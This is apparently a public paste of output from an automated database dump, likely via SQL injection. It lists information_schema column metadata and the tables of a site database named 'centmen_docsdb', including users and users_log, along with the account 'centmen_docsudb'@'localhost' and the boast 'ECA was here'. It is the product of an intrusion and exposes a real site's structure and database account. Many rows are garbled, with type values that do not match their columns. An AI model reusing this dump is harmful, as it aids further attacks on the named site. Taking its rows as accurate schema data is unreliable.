  1243. +-----------------------------------------+-------------------------------------------------------------------------------------------+
  1244. Database: information_schema
  1245. Table:COLUMNS
  1246. | <blank> | YES | int(11) | PARTITION_DESCRIPTION | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 12 | NULL | utf8 | 4294967295 | 4294967295 |
  1247. | <blank> | bigint | PARTITIONS | <blank> | NO | date | TABLE_ROWS | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 13 | 20 | NULL | NULL | NULL |
  1248. | <blank> | bigint | PARTITIONS | <blank> | NO | varchar(45) | AVG_ROW_LENGTH | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 14 | 20 | NULL | NULL | NULL |
  1249. | <blank> | bigint | PARTITIONS | <blank> | NO | varchar(45) | DATA_LENGTH | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 15 | 20 | NULL | NULL | NULL |
  1250. | <blank> | bigint | PARTITIONS | <blank> | YES | varchar(45) | MAX_DATA_LENGTH | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 16 | 20 | NULL | NULL | NULL |
  1251. | <blank> | bigint | PARTITIONS | <blank> | NO | text | INDEX_LENGTH | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 17 | 20 | NULL | NULL | NULL |
  1252. | <blank> | bigint | PARTITIONS | <blank> | NO | varchar(45) | DATA_FREE | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 18 | 20 | NULL | NULL | NULL |
  1253. | <blank> | datetime | PARTITIONS | <blank> | YES | varchar(45) | CREATE_TIME | information_schema | select | NULL | NULL | <blank> | NULL | NULL | 19 | NULL | NULL | NULL | NULL |
  1254. | <blank> | datetime | PARTITIONS | <blank> | YES | varchar(250) | CHECK_TIME | information_schema | select | NULL | NULL | <blank> | NULL | NULL | 21 | NULL | NULL | NULL | NULL |
  1255. | <blank> | bigint | PARTITIONS | <blank> | YES | int(11) | PARTITION_ORDINAL_POSITION | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 6 | 20 | NULL | NULL | NULL |
  1256. | <blank> | varchar | PARTITIONS | <blank> | YES | varchar(250) | SUBPARTITION_NAME | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 5 | NULL | utf8 | 192 | 64 |
  1257. | <blank> | varchar | PARTITIONS | <blank> | YES | text | PARTITION_NAME | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 4 | NULL | utf8 | 192 | 64 |
  1258. | <blank> | varchar | KEY_COLUMN_USAGE | <blank> | NO | varchar(45) | CONSTRAINT_SCHEMA | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 2 | NULL | utf8 | 192 | 64 |
  1259. | <blank> | varchar | KEY_COLUMN_USAGE | <blank> | NO | int(11) | CONSTRAINT_NAME | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 3 | NULL | utf8 | 192 | 64 |
  1260. | <blank> | varchar | KEY_COLUMN_USAGE | <blank> | YES | varchar(250) | TABLE_CATALOG | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 4 | NULL | utf8 | 1536 | 512 |
  1261. | <blank> | varchar | KEY_COLUMN_USAGE | <blank> | NO | varchar(45) | TABLE_SCHEMA | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 5 | NULL | utf8 | 192 | 64 |
  1262. | <blank> | varchar | KEY_COLUMN_USAGE | <blank> | NO | date | TABLE_NAME | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 6 | NULL | utf8 | 192 | 64 |
  1263. | <blank> | varchar | KEY_COLUMN_USAGE | <blank> | NO | varchar(45) | COLUMN_NAME | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 7 | NULL | utf8 | 192 | 64 |
  1264. | <blank> | bigint | KEY_COLUMN_USAGE | <blank> | NO | varchar(45) | ORDINAL_POSITION | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 8 | 19 | NULL | NULL | NULL |
  1265. | <blank> | bigint | KEY_COLUMN_USAGE | <blank> | YES | varchar(45) | POSITION_IN_UNIQUE_CONSTRAINT | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 9 | 19 | NULL | NULL | NULL |
  1266. | <blank> | varchar | KEY_COLUMN_USAGE | <blank> | YES | varchar(250) | REFERENCED_TABLE_SCHEMA | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 10 | NULL | utf8 | 192 | 64 |
  1267. | <blank> | varchar | KEY_COLUMN_USAGE | <blank> | YES | varchar(250) | REFERENCED_TABLE_NAME | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 11 | NULL | utf8 | 192 | 64 |
  1268. | <blank> | varchar | KEY_COLUMN_USAGE | <blank> | YES | varchar(250) | REFERENCED_COLUMN_NAME | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 12 | NULL | utf8 | 192 | 64 |
  1269. | <blank> | varchar | PARTITIONS | <blank> | YES | int(11) | TABLE_CATALOG | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 1 | NULL | utf8 | 1536 | 512 |
  1270. | <blank> | varchar | PARTITIONS | <blank> | NO | date | TABLE_SCHEMA | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 2 | NULL | utf8 | 192 | 64 |
  1271. | <blank> | varchar | PARTITIONS | <blank> | NO | varchar(255) | TABLE_NAME | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 3 | NULL | utf8 | 192 | 64 |
  1272. | <blank> | bigint | PARTITIONS | <blank> | YES | varchar(500) | CHECKSUM | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 22 | 20 | NULL | NULL | NULL |
  1273. | <blank> | varchar | PARTITIONS | <blank> | NO | varchar(500) | PARTITION_COMMENT | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 23 | NULL | utf8 | 240 | 80 |
  1274. | <blank> | decimal | PROFILING | <blank> | YES | varchar(255) | CPU_SYSTEM | information_schema | select | 6 | NULL | <blank> | NULL | NULL | 6 | 9 | NULL | NULL | NULL |
  1275. | <blank> | varchar | PLUGINS | <blank> | YES | text | PLUGIN_LICENSE | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 10 | NULL | utf8 | 240 | 80 |
  1276. | <blank> | bigint | PROCESSLIST | <blank> | NO | varchar(100) | ID | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 1 | 19 | NULL | NULL | NULL |
  1277. | <blank> | varchar | PROCESSLIST | <blank> | NO | int(1) | USER | information_schema | select | NULL | NULL | <blank> | 0 | utf8_general_ci | 2 | NULL | utf8 | 48 | 16 |
  1278. | <blank> | int | PROFILING | <blank> | YES | varchar(255) | CONTEXT_VOLUNTARY | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 7 | 10 | NULL | NULL | NULL |
  1279. | <blank> | varchar | PROCESSLIST | <blank> | NULL | varchar(40) | DB | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 4 | NULL | utf8 | 192 | 64 |
  1280. | <blank> | varchar | PROCESSLIST | <blank> | NO | varchar(255) | COMMAND | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 5 | NULL | utf8 | 48 | 16 |
  1281. | <blank> | int | PROCESSLIST | <blank> | NO | varchar(255) | TIME | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 6 | 10 | NULL | NULL | NULL |
  1282. | <blank> | varchar | PROCESSLIST | <blank> | YES | date | STATE | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 7 | NULL | utf8 | 192 | 64 |
  1283. | <blank> | longtext | PROCESSLIST | <blank> | YES | varchar(255) | INFO | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 8 | NULL | utf8 | 4294967295 | 4294967295 |
  1284. | <blank> | int | PROFILING | <blank> | NO | varchar(255) | QUERY_ID | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1285. | <blank> | int | PROFILING | <blank> | NO | int(11) | SEQ | information_schema | select | 0 | NULL | <blank> | NULL | NULL | 2 | 10 | NULL | NULL | NULL |
  1286. | <blank> | varchar | PROFILING | <blank> | NO | varchar(255) | STATE | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 3 | NULL | utf8 | 90 | 30 |
  1287. | <blank> | decimal | PROFILING | <blank> | NO | varchar(255) | DURATION | information_schema | select | 6 | NULL | <blank> | NULL | NULL | 4 | 9 | NULL | NULL | NULL |
  1288. | <blank> | decimal | PROFILING | <blank> | YES | int(2) | CPU_USER | information_schema | select | 6 | NULL | <blank> | NULL | NULL | 5 | 9 | NULL | NULL | NULL |
  1289. | <blank> | varchar | PROCESSLIST | <blank> | NO | varchar(255) | HOST | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 3 | NULL | utf8 | 192 | 64 |
  1290. | <blank> | longtext | PLUGINS | <blank> | YES | varchar(255) | PLUGIN_DESCRIPTION | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 9 | NULL | utf8 | 4294967295 | 4294967295 |
  1291. | <blank> | varchar | PLUGINS | <blank> | NO | int(1) | PLUGIN_VERSION | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 2 | NULL | utf8 | 60 | 20 |
  1292. | <blank> | varchar | PARTITIONS | <blank> | YES | varchar(255) | TABLESPACE_NAME | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 25 | NULL | utf8 | 192 | 64 |
  1293. | <blank> | varchar | PLUGINS | <blank> | NO | int(30) | PLUGIN_STATUS | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 3 | NULL | utf8 | 30 | 10 |
  1294. | <blank> | varchar | PLUGINS | <blank> | NO | date | PLUGIN_TYPE | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 4 | NULL | utf8 | 240 | 80 |
  1295. | <blank> | varchar | PLUGINS | <blank> | NO | int(30) | PLUGIN_NAME | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 1 | NULL | utf8 | 192 | 64 |
  1296. | <blank> | varchar | PLUGINS | <blank> | NO | date | PLUGIN_TYPE_VERSION | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 5 | NULL | utf8 | 60 | 20 |
  1297. | <blank> | varchar | PLUGINS | <blank> | YES | int(10) | PLUGIN_AUTHOR | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 8 | NULL | utf8 | 192 | 64 |
  1298. | <blank> | varchar | PARTITIONS | <blank> | NO | varchar(500) | NODEGROUP | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 24 | NULL | utf8 | 36 | 12 |
  1299. | <blank> | varchar | PLUGINS | <blank> | YES | varchar(2000) | PLUGIN_LIBRARY | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 6 | NULL | utf8 | 192 | 64 |
  1300. | <blank> | varchar | PLUGINS | <blank> | YES | varchar(255) | PLUGIN_LIBRARY_VERSION | information_schema | select | NULL | NULL | <blank> | NULL | utf8_general_ci | 7 | NULL | utf8 | 60 | 20 |
  1301. | auto_increment | int | revo_newsletters | PRI | NO | int(20) | letter_id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1302. | auto_increment | int | newsletters | PRI | NO | int(5) | letter_id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1303. | auto_increment | int | sendus_video | PRI | NO | int(20) | id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1304. | auto_increment | int | sendus_victim | PRI | NO | int(5) | id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1305. | auto_increment | int | close_log | PRI | NO | int(20) | close_id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1306. | auto_increment | int | revo_newsletters_content | PRI | NO | int(20) | content_id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1307. | auto_increment | int | marties | PRI | NO | int(20) | marty_id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1308. | auto_increment | int | users | PRI | NO | int(20) | user_id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1309. | auto_increment | int | newsletters_content | PRI | NO | int(20) | content_id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1310. | auto_increment | int | articles | PRI | NO | int(11) | article_id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1311. | auto_increment | int | news | PRI | NO | int(11) | news_id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1312. | auto_increment | int | sendus_image | PRI | NO | int(11) | id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1313. | auto_increment | int | videos | PRI | NO | int(5) | video_id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1314. | auto_increment | int | images | PRI | NO | int(20) | image_id | centmen_docsdb | select,insert,update,references | 0 | NULL | <blank> | NULL | NULL | 1 | 10 | NULL | NULL | NULL |
  1315. | on update CURRENT_TIMESTAMP | timestamp | users_log | <blank> | NO | timestamp | user_login_date | centmen_docsdb | select,insert,update,references | NULL | NULL | <blank> | CURRENT_TIMESTAMP | NULL | 2 | NULL | NULL | NULL | NULL |
  1316. | on update CURRENT_TIMESTAMP | timestamp | close_log | <blank> | NO | timestamp | close_date | centmen_docsdb | select,insert,update,references | NULL | NULL | <blank> | CURRENT_TIMESTAMP | NULL | 3 | NULL | NULL | NULL | NULL |
  1317. +-----------------------------+-----------+---------------------------------------+------------+-------------+---------------------+-------------------------------+--------------------+---------------------------------+---------------+---------------+-------------------------------------------------------------------------------+---------------------+-----------------+------------------+-------------------+--------------------+------------------------+--------------------------+
  1318. Database: information_schema
  1319. Table: USER_PRIVILEGES
  1320. [1 entry]
  1321. +-------------------------------+--------------+---------------+----------------+
  1322. | GRANTEE | IS_GRANTABLE | TABLE_CATALOG | PRIVILEGE_TYPE |
  1323. +-------------------------------+--------------+---------------+----------------+
  1324. | 'centmen_docsudb'@'localhost' | NO | NULL | USAGE | ECA was here
  1325. +-------------------------------+--------------+---------------+----------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement